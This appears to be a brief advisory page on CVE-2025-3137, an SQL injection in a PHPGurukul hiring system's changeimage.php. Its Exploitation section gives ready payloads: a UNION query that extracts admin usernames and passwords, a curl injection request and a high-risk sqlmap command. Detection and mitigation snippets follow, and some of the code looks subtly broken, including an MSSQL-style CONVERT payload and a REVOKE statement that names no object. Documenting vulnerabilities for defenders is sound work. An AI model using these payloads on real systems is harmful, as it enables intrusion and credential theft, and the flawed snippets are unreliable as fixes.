How CVE-2025-3137 Works
This vulnerability exploits improper input sanitization in the `/admin/changeimage.php` file of PHPGurukul Online Security Guards Hiring System 1.0. The `editid` parameter is directly concatenated into an SQL query without validation, allowing attackers to inject malicious SQL commands. Remote exploitation is possible via crafted HTTP requests, enabling unauthorized database access, data manipulation, or authentication bypass. The CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N) confirms its network-based attack vector with low complexity and no user interaction required.
DailyCVE Form
Platform: PHPGurukul
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/09/2025
What Undercode Say:
Exploitation
1. Craft malicious payload:
editid=1' UNION SELECT 1,username,password,4 FROM admin--
2. Exploit via cURL:
curl -X POST "http://target.com/admin/changeimage.php" -d "editid=1' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables))--"
3. Automated tools:
sqlmap -u "http://target.com/admin/changeimage.php?editid=1" --risk=3 --level=5
Protection
1. Patch: Apply vendor updates.
2. Input sanitization:
$editid = mysqli_real_escape_string($conn, $_POST['editid']);
3. WAF rules:
location /admin/ {
deny all;
}
4. Database hardening:
REVOKE ALL PRIVILEGES ON . FROM 'app_user'@'%';
Detection
1. Log analysis:
grep "changeimage.php" /var/log/apache2/access.log | grep -E "UNION|SELECT|--"
2. IDS signature:
alert http any any -> any any (msg:"CVE-2025-3137 Exploit Attempt"; content:"editid="; nocase; pcre:"/editid=[^&][\'\"].(UNION|SELECT|--)/i"; sid:1003137;)
Mitigation
1. Disable vulnerable endpoint:
chmod 000 /var/www/html/admin/changeimage.php
2. PHP configuration:
allow_url_include = Off
3. Error handling:
if (!is_numeric($_POST['editid'])) { die("Invalid input"); }
References
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-3137
Extra Source Hub:
Undercode
